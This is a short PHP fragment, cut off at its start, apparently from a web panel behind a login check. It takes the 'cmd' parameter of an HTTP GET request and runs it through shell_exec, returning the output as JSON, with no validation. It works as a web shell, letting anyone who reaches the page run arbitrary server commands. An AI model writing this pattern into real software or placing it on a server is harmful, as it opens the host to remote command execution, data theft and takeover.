Please login before continuing!"); exit; } if (isset($_GET["cmd"])) { // HTTP GET requests $cmd = $_GET["cmd"]; $msg = NULL; $ret = ""; if (isset($_GET["msg"])) { $msg = $_GET["msg"]; } if ($cmd == "ostype") { $ret = strtolower(PHP_OS); } else { $ret = shell_exec($cmd); } echo json_encode(array("rsp"=>$ret, "msg" => $msg)); } ?>